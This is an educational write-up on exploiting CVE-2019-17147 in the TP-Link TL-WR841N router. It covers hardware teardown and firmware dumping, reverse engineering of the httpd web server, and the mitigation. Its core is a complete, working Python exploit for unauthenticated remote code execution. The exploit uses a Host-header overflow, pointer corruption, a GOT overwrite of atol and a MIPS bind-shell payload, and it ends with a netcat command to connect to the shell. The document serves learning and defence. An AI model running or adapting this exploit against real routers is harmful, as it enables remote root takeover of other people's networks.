# Router Analysis and Exploitation: CVE-2019-17147 **Authors:** Angelo Zullo, Simone Vitto, Vincenzo Cantatore ## Table of Contents 1. [Introduction](#1-introduction) 2. [Infrastructure Setup](#2-infrastructure-creation) * 2.1 [Physical Analysis of the Router](#21-physical-analysis-of-the-router) * 2.2 [Memory Dump](#22-memory-dump) * 2.3 [Accessing the Router Console via UART](#23-accessing-the-router-console-via-uart) * 2.4 [Replacing Current Firmware with the Vulnerable Version](#24-replacing-current-firmware-with-the-vulnerable-version) 3. [Vulnerability Discovery and Exploitation](#3-vulnerability-discovery-and-exploitation) * 3.1 [Static Analysis](#31-static-analysis) * 3.2 [Dynamic Analysis](#32-dynamic-analysis) * 3.3 [Writing the Exploit](#33-writing-the-exploit) 4. [Vulnerability Mitigation](#4-vulnerability-mitigation) 5. [Conclusions](#5-conclusions) --- ## 1. Introduction This document analyzes the process of reverse engineering and exploiting a critical vulnerability on a commercial network device. The objective is to document the steps necessary to achieve Remote Code Execution (RCE), starting from hardware analysis up to the development of a functioning software exploit. The case study examined concerns the **TP-Link TL-WR841N** router (**MIPSEL** architecture), affected by the vulnerability known as **CVE-2019-17147**. ![][image2] --- ## 2. Infrastructure Setup ### 2.1 Physical Analysis of the Router The preliminary investigation required opening the device case to allow direct access to the motherboard (PCB). ![][image3] Visual inspection of the integrated circuits allowed for the identification of key components: the CPU, RAM memory, and Flash memory. On the right side of the PCB, the UART interface was located, which is essential for debug operations. Attention focused on the Flash memory, the component responsible for storing the firmware. ![][image4] Consulting the datasheet for the **Feon QH32B-104HIP** chip, it was confirmed to be an SPI (Serial Peripheral Interface) NOR Flash memory produced by Feon Microelectronics, with a capacity of 32 Megabits and an operating voltage between 2.7 and 3.6 V. ![][image5] ### 2.2 Memory Dump In order to obtain a backup copy of the original firmware and analyze its contents, we proceed with memory extraction (dump). This operation is crucial to prevent permanent loss of the device in case of critical errors (bricking). For reading, a **CH341A** programmer is used, interfaced directly to the chip via a **SOIC8** clip (In-Circuit Programming), thus avoiding desoldering operations. ![][image6]![][image7] Using the `flashrom` tool, we first verify chip detection: ```bash sudo flashrom -p ch341a_spi ``` Subsequently, a full memory read is performed: ```bash sudo flashrom -p ch341a_spi -r dump.bin ``` The extracted firmware is saved in the file `dump.bin`. Finally, the integrity of the acquired data is verified: ```bash sudo flashrom -p ch341a_spi -v dump.bin ``` The obtained file can be used for system restoration or subjected to analysis to identify credentials or sensitive configurations. ### 2.3 Accessing the Router Console via UART To establish serial communication with the device, we connect to the UART interface using a USB-TTL converter. The connections made are: **GND-GND**, **TX-RX**, **RX-TX**. The VCC pin is isolated, as power is supplied directly by the router's power adapter. ![][image8] The `minicom` serial terminal is configured with the following standard parameters: ```bash sudo minicom -s ``` * `Serial Device`: `/dev/ttyUSB0` * `Bps/Par/Bits`: `115200 8N1` Upon router startup, the console displays boot logs. At the end of the boot procedure, the interface provides access to a root shell without requiring authentication credentials. ![][image9] ### 2.4 Replacing Current Firmware with the Vulnerable Version To reproduce the vulnerability, it is necessary to install the firmware version affected by the bug: `TL-WR841N(US)_V14_180319`. Since the vulnerable firmware is no longer officially distributed, it was recovered via digital historical archives (Wayback Machine). ![][image10] After downloading the correct version: ![][image11] A hardware discrepancy is noted: the device in use is version **EU** (Europe), while the vulnerable firmware is intended for version **US**. Directly flashing the entire binary file would entail a high risk of bricking due to differences in the bootloader and radio configurations. Therefore, we proceed with the selective extraction and replacement of only the operating system partitions. Using `binwalk`, partition offsets are identified: ```bash binwalk TL-WR841Nv14_US.bin ``` The partitions of interest (`boot`, `kernel`, `rootfs`) are extracted using `dd`: ```bash dd if=TL-WR841Nv14_US.bin of=mtd0_boot.bin bs=1 skip=53952 count=$((66560 - 53952)) dd if=TL-WR841Nv14_US.bin of=mtd1_kernel.bin bs=1 skip=66560 count=$((1049088 - 66560)) dd if=TL-WR841Nv14_US.bin of=mtd2_rootfs.bin bs=1 skip=1049088 ``` For writing to the router's flash memory, the `flashcp` tool (part of the `mtd-utils` suite) compiled for **MIPSEL** architecture is required. To obtain it, a MIPSEL environment is emulated using **QEMU**: ```bash qemu-system-mipsel \ -M malta -m 1G \ -kernel vmlinux-2.6.32-5-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -append “root=/dev/hda1 console=ttyS0 ignore_loglevel” \ -serial mon:stdio \ -net nic -net user ``` ![][image12] Inside the emulated environment, necessary utilities are installed: ```bash apt-get install mtd-utils which flashcp ``` ![][image13] To transfer files to the router, a TFTP server is set up on the host machine: ```bash sudo atfpd --no-fork --daemon --port 6969 --bind-address 0.0.0.0 /srv/tftp ``` From the router console, `flashcp` and the extracted partitions are downloaded: ```bash tftp -g -r flashcp 192.168.1.2 6969 chmod +x flashcp tftp -g -r mtd0_boot.bin 192.168.1.2 6969 tftp -g -r mtd1_kernel.bin 192.168.1.2 6969 tftp -g -r mtd2_rootfs.bin 192.168.1.2 6969 ``` Finally, partition rewriting is performed: ```bash ./flashcp mtd0_boot.bin /dev/mtd0 ./flashcp mtd1_kernel.bin /dev/mtd1 ./flashcp mtd2_rootfs.bin /dev/mtd2 ``` The device is now configured with the vulnerable firmware, ready for the analysis phase. --- ## 3. Vulnerability Discovery and Exploitation ### 3.1 Static Analysis Firmware analysis begins with extracting the filesystem from the `rootfs.bin` partition using `binwalk -Me`. ![][image14] Exploring the directory structure: ![][image15] The goal is to identify exposed binaries handling external input. The ideal target is the web administration service, located at `/usr/bin/httpd`. ![][image17] Httpd stands for HyperText Protocol Daemon and is software that functions as a web server. We use IDA to decompile and analyze the file: ![][image18] The file is analyzed with the **IDA Pro** disassembler. Fortunately, the binary is not *stripped*, keeping symbols and function names visible, which greatly facilitates reverse engineering. Attention focuses on parsing functions, common vectors for vulnerabilities. ![][image19] We start by analyzing the `http_parser_main` function, which will surely contain the main logic of the parser. The first thing we notice is that, in addition to a long list of variables at the beginning of the function, there is a call to the `memset` function: ![][image20] This function zeros out all 512 bytes of the “buffer”, so while we proceed with the analysis of the function and rename all variables for better understanding, let's analyze how this buffer is used. ![][image21] ![][image22] We observe the use of a custom function named `cstr_strncpy` for handling HTTP headers (e.g., `Host`). This function accepts a `copy_len` parameter determining the amount of data to copy. If this parameter derives from user input length rather than the destination buffer size, a **Stack Buffer Overflow** vulnerability is configured. Comparison between prototypes: ```c char *strcpy(char *string1, const char *string2); void cstr_strncpy(char *dest_buffer, const char *src_buffer, int copy_len); ``` MIPSEL assembly code analysis confirms the function's behavior: ![][image23] > **Important:** the snippet above illustrates the internal logic of `cstr_strncpy` and does not constitute the exploit payload. **Register Analysis:** ```text 0x405DF4 cstr_strncpy call 0x405DE4 a0 = vuln_buff 0x405DEC a1 = $s7 0x405DF0 a2 = $v0 ``` Where: * `a0` (vuln_buff): Destination buffer (Stack). * `a1` ($s7): Source string (User-controlled HTTP Header). * `a2` ($v0): Copy length (Source string length). Another critical function for the exploit is `http_parser_argStrToList`, which converts a string into a linked list data structure. ![][image24] The managed data structure is composed as follows: ![][image25] The struct contains two fundamental pointers: to the previous node and to the next node. ![][image26] Memory writing operation occurs via the `sw` (Store Word) instruction: ![][image47] ![][image27] By controlling the content of these pointers via overflow, it is possible to direct the `sw` instruction towards an arbitrary address, realizing a **Write-What-Where** primitive. The complete code of the analyzed functions is available on GitHub: [https://github.com/imnot-ye/CVE-2019-17147/tree/main/Reversed%20Functions](https://github.com/imnot-ye/CVE-2019-17147/tree/main/Reversed%20Functions) ### 3.2 Dynamic Analysis To verify the overflow and study process behavior at runtime, remote debugging is used. `gdbserver` (compiled for MIPSEL) is loaded onto the router: ```bash tftp -g -r gdbserver 192.168.1.2 6969 chmod +x gdbserver ``` ![][image28] The PID of the `httpd` process is identified (e.g., 320): ![][image29] The debugger is started listening on port 4444: ```bash ./gdbserver 0.0.0.0:4444 –attach 320 ``` From the analysis workstation, `gdb-multiarch` is started for remote connection. ![][image30] A first Python script (PoC) is used to send a payload exceeding 512 bytes: ```python #!/usr/bin/python3 from pwn import * import sys import urllib.request import urllib.parse # ... (class and connection configuration) ... def exploit(): target_ip = '192.168.0.1' w = WebService(target_ip) # Payload: 512 bytes of padding + overwrite host_padding = b'A' * 512 + b'A'*6 w.make_req('/qr.htm', host=host_padding) # Trigger parsing w.make_req('/qr.htm', {'_':'hello'}) print("[+] Done!") if __name__ == '__main__': exploit() ``` Executing the PoC causes the `httpd` service to crash. Analyzing the crash register in GDB: ![][image31]![][image32] An attempt to dereference address **0x41414145** (corresponding to string "AAAE") is observed. The crash occurs inside `http_parser_argStrToList`, confirming that the overflow overwrites linked list pointers. To plan the exploit, memory protections must be analyzed: * **Overflow Area:** Heap. * **Permissions:** From memory map analysis (`vmmap`), the Heap area appears to have **RWX** (Read, Write, Execute) permissions. ![][image33] The presence of an executable Heap is a critical vulnerability that significantly simplifies the attack, allowing direct execution of shellcode without resorting to complex ROP techniques. ![][image34] Analyzing memory content after the crash, we confirm control over data: ![][image35] ### 3.3 Writing the Exploit The exploitation strategy relies on three pillars: 1. **Overflow Possibility:** Ability to write beyond buffer limits. 2. **Pointer Corruption:** Control of `next` and `prev` pointers of the struct, allowing arbitrary writes (Write-What-Where). 3. **Executable Heap:** Possibility to execute injected code. The chosen technique involves overwriting an entry in the **Global Offset Table (GOT)**. The ideal target is the `atol` function, frequently called by the program. By overwriting the address of `atol` in the GOT with the address of our shellcode (injected into the Heap), we will achieve arbitrary execution at the next call of that function. #### Debugging and Refinement Phase During initial tests, overwriting behavior was observed: ![][image36] The linked list update mechanism copies data from the stack to the address pointed to by corrupted registers. ![][image37] Sending a malicious payload: ![][image38] List pointers are overwritten. The linked list logic ("unlink" or node update) uses these corrupted addresses to perform writes. If we control `next` and `prev`, we control **where** and **what** is written. ![][image39] During exploit development, a problem related to "Bad Characters" emerged. ![][image40] The target address contained a null byte (`\x00`). The `strcpy` function terminates copying at the first null byte, truncating the payload and rendering the attack ineffective. ![][image41] #### Solution: Staged Payload To bypass the null byte limitation, a "Staged Injection" technique is adopted. Since the process reuses the same persistent memory area (Heap), it is possible to send multiple consecutive requests to compose the final payload in memory one piece at a time. ```python # Stage 1: Shellcode Injection (upper part) payload_1= host_padding + b'AAAA' + p32(shellcode_addr, endian='little') w.make_req('/qr.htm', host=payload_1) # Stage 2: GOT Address Writing (bypasses final null byte) print("[+] Overflowing buffer") payload_2 = host_padding + p32(atol_got_addr, endian='little') w.make_req('/qr.htm', host=payload_2) ``` ![][image42] #### Technical Attack Summary * **Vulnerability:** Stack-based Buffer Overflow in `cstr_strncpy`. * **Vector:** Linked List Pointer Manipulation (`http_parser_argStrToList`). * **Payload:** MIPS Shellcode (Bind Shell). * **Execution:** Heap Spraying + GOT Overwrite (`atol` -> `Shellcode`). #### Final Exploit Code The following Python script automates the entire process: ```python #!/usr/bin/python3 from pwn import * import sys import urllib.request import urllib.parse context.clear() context.arch = 'mips' context.bits = 32 context.endian = 'little' class WebService: def __init__(self, ip, port=80): self.rooturl = "http://" + ip + ':' + str(port) def make_req(self, path, arg=None, host='192.168.0.1', has_ContentLength=False): headers = {'Host': host} if has_ContentLength: headers['Content-Length'] = '0' if arg is not None: parameter = arg parameter = urllib.parse.urlencode(parameter) fullurl = self.rooturl + path + '?' + parameter else: fullurl = self.rooturl + path req = urllib.request.Request(fullurl, None, headers) response = urllib.request.urlopen(req) data = response.read() return data def shellcode(port=31337): # Bind Shell shellcode generation shellcode = shellcraft.mips.linux.bindsh(port) return asm(shellcode) def exploit(): target_ip = '192.168.0.1' w = WebService(target_ip) # Target addresses (specific for this firmware version) atol_got_addr = 0x423774 - 4 host_padding = b'a' * 512 shellcode_addr = 0x438174 print(f"[*] Attacking target: {target_ip}") print(f"[*] GOT Address (atol): {hex(atol_got_addr)}") # Stage 1: Writing Shellcode Address print("[*] Stage 1: Writing Shellcode Address...") host_str = host_padding + b'AAAA' + p32(shellcode_addr, endian='little') w.make_req('/qr.htm', host=host_str) # Stage 2: Writing GOT Address print("[*] Stage 2: Writing GOT Address...") host_str = host_padding + p32(atol_got_addr, endian='little') w.make_req('/qr.htm', host=host_str) # Stage 3: Trigger Write-What-Where print("[*] Stage 3: Overwriting GOT entry...") w.make_req('/qr.htm', {'_':'hello'}) # Stage 4: Sending Shellcode Payload print("[*] Stage 4: Sending Shellcode payload...") # NOP Sled + Shellcode host_str = b'q'*0x40 + shellcode(31337) w.make_req('/qr.htm', host=host_str) # Stage 5: Hijacking execution flow print("[*] Stage 5: Triggering execution via atol()...") try: # Force call to atol via Content-Length w.make_req('/qr.htm', has_ContentLength=True) except Exception: pass print("[+] Exploit sent! Try connecting: nc 192.168.0.1 31337") if __name__ == '__main__': exploit() ``` Executing the exploit: ![][image43] It is possible to connect to the obtained remote shell on port 31337: ![][image44] Root access to the system has been successfully obtained. --- ## 4. Vulnerability Mitigation Fixing the vulnerability at the source code level requires implementing checks on the length of copied data. It is imperative not to use the source string length as the limit for copying. **Proposed Correction (Secure Coding):** Use the destination buffer size as an impassable limit: ```c // Incorrect: cstr_strncpy(&buffer, header_value, strlen(header_value)); // Correct: size_t buffer_len = sizeof(buffer); cstr_strncpy(&buffer, header_value, buffer_len - 1); ``` Furthermore, the absence of standard protections at the compilation level significantly aggravates the risk. Although system stability with all protections active cannot be confirmed without extensive testing, it is strongly recommended to enable the **NX (No-Execute)** bit to make the stack and heap non-executable. This would have prevented direct execution of the shellcode injected into the heap. --- ## 5. Conclusions This study analyzed in detail the **CVE-2019-17147** vulnerability, demonstrating how an input validation error in a critical component like the web server can compromise the entire device security. The vulnerability is classified with a **CVSS v3.1 score of 8.8 (High)**, indicating a high risk due to ease of exploitation (no authentication required, attack via local network) and total impact on confidentiality, integrity, and availability. Official Reference: [NIST NVD - CVE-2019-17147](https://nvd.nist.gov/vuln/detail/CVE-2019-17147) ![][image45]![][image46] The analysis highlights the crucial importance of keeping network device firmware updated and underscores the need for manufacturers to adopt secure development practices (Secure Coding) and implement modern binary protections (Exploit Mitigation) to reduce the attack surface. --- [image1]: https://i.imgur.com/57h4lq9.png [image2]: https://i.imgur.com/9FyOyA8.png [image3]: https://i.imgur.com/r2KRvyd.png [image4]: https://i.imgur.com/eNq1fy1.png [image5]: https://i.imgur.com/4hLGnr1.png [image6]: https://i.imgur.com/DXMTLqB.png [image7]: https://i.imgur.com/lPxHp1d.png [image8]: https://i.imgur.com/1zxGWQF.png [image9]: https://i.imgur.com/RdNmm21.png [image10]: https://i.imgur.com/5By4Yks.png [image11]: https://i.imgur.com/cG21KXP.png [image12]: https://i.imgur.com/esYYq3a.png [image13]: https://i.imgur.com/SHSgop2.png [image14]: https://i.imgur.com/G4fRMR0.png [image15]: https://i.imgur.com/f7kelSK.png [image16]: https://imgur.com/Pg4pJoW [image17]: https://i.imgur.com/A9bGDkY.png [image18]: https://i.imgur.com/fFJk85Y.png [image19]: https://i.imgur.com/C4QzgrS.png [image20]: https://i.imgur.com/o8mTQdr.png [image21]: https://i.imgur.com/S9MoFgC.png [image22]: https://i.imgur.com/xDCXqGs.png [image23]: https://i.imgur.com/eUA3HiB.png [image24]: https://i.imgur.com/5aNZeAK.png [image25]: https://i.imgur.com/YAGxXgK.png [image26]: https://i.imgur.com/97GFrit.png [image27]: https://i.imgur.com/1XtoxzV.png [image28]: https://i.imgur.com/GuPxiBC.png [image29]: https://i.imgur.com/VOndPog.png [image30]: https://i.imgur.com/IZE2pks.png [image31]: https://i.imgur.com/Mcwofms.png [image32]: https://i.imgur.com/0Tf9ovL.png [image33]: https://i.imgur.com/miaXTwA.png [image34]: https://i.imgur.com/0Qx25gg.png [image35]: https://i.imgur.com/zkplkQi.png [image36]: https://i.imgur.com/9EUgeh2.png [image37]: https://i.imgur.com/Il4dma9.png [image38]: https://i.imgur.com/BHwGcO5.png [image39]: https://i.imgur.com/TKLnVo9.png [image40]: https://i.imgur.com/ArVJX51.png [image41]: https://i.imgur.com/DLK0K2A.png [image42]: https://i.imgur.com/pPcii46.png [image43]: https://i.imgur.com/I45F1th.png [image44]: https://i.imgur.com/72adjQX.png [image45]: https://i.imgur.com/AH3nyCz.png [image46]: https://i.imgur.com/BNZrOUc.png [image47]: https://i.imgur.com/8WepAhY.png